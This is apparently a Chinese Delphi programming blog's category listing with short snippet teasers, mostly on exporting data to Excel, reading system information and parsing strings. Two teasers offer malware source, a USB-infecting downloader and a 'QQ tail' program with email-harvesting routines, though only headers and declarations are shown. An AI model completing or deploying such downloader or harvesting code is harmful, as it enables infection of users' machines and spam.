程序开发

programme

怎么把SQL表中的内容倒到EXCEL中

const Con_stStr='''';
var d1,d2,s1:string;
cun,i:integer;
begin
d1:=datetostr(datetimeFindfirst.date);
d2:=datetostr(dateTimeFindSecond.date);
cun:=adoqryfind.RecordCount;
try
v:= CreateOleObject('Excel.Application');
v.Visible := true;
v.Workbooks.Add;//新建EXCEL文件
v.worksheets[1].range['A1:K1'].Merge(True);//合并A1到L1
v.worksheets[1].range['A3:K3'].Merge(true);
v.Workbooks[1].WorkSheets[1].Name := '金星加油站'; //指定表的名称

Delphi中DBGRID导出到EXECL

procedure DBGridInFoToExcel(FileName, TitleCaption: string;
MakeDataSource: TDataSource; makeDBGrid: TDBGrid;MakeType:Integer);
var
xlApp, xlSheet: Variant;
ARow, iLoop: word;
text:string;
//progressbar:TProgressBar;
begin
if MessageBox(GetActiveWindow,'数据导入EXCEL可能需要较长时间,是

Delphi总如何导出EXcel

以下在Delphi6下通过,注意:本过程未检测Execl是否安装正确!

Delphi中设置EXCEL中指定列的宽度和指定行的高度

设置指定列的宽度(单位:字符个数),以第一列为例:
ExcelApp.ActiveSheet.Columns[1].ColumnsWidth := 5;

设置指定行的高度(单位:磅)(1磅=0.035厘米),以第二行为例:
ExcelApp.ActiveSheet.Rows[2].RowHeight := 1/0.035; // 1厘米

一个含U盘感染的downloader代码。(delphi)

一个含U盘感染的downloader代码。可以作为原理进行分析。(delphi)
program AutoDown;
{$R 'ICON32.RES' 'ICON32.TXT' }
{$IMAGEBASE $17140000}
uses
Windows, SysUtils, wininet, mmsystem, messages;

几个获取Windows系统信息的Delphi程序

本文所有的窗体界面略去,读者可根据程序自行添加各窗口组件。

1、获取windows版本信息

可以通过Windows API函数GetVersionEx来获得。

具体程序如下:

Procedure Tform1.Button1Click(sender:TObject);

Var

OSVI:OSVERSIONINFO;

begin

OSVI.dwOSversioninfoSize:=Sizeof(OSVERSIONINFO);

GetVersionEx(OSVI);

label1.Caption:=IntToStr(OSVI.dwMinorVersion)+','

+IntToStr(OSVI.dwMinorVersion)+','

+IntToStr(OSVI.dwBuildNumber)+','

+IntToStr(OSVI.dwPlatformId)+','

+OSVI.szCSDVersion;

end;

end.

2、获取CPU信息

QQ尾巴的源代码(Delphi7编写)

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Forms, shellapi,
winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
procedure FindFiles(StartDir: string);
procedure GetEmailAddress(FileName:string);
procedure WriteAddress(Address:string);
{ Private declarations }
public

Delphi中字符串形式为:/*/*/*/,如何才能取得中间的*哪?

procedure TForm1.Button1Click(Sender: TObject);
var
i : Integer;
s : string;
begin
with TStringList.Create do
begin
s := '/33/"321 424"/24234234/';
Delimiter :='/';
DelimitedText := Copy(s,2,Length(s)-2);
for i:=0 to Count-1 do
begin
if Strings[i]<>'' then
ShowMessage(Strings[i]);
end;
end;
end;

、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、

关于Delphi memo存放数据到数据库然后导出的问题

问题描述:

现在有数个memo,为了我描述的方便,拿2个来举例,:)

这两个memo中的数据均有回车换行的操作。

数据库表中有2个项目 ,id 和content。

页面

Subscribe to RSS - 程序开发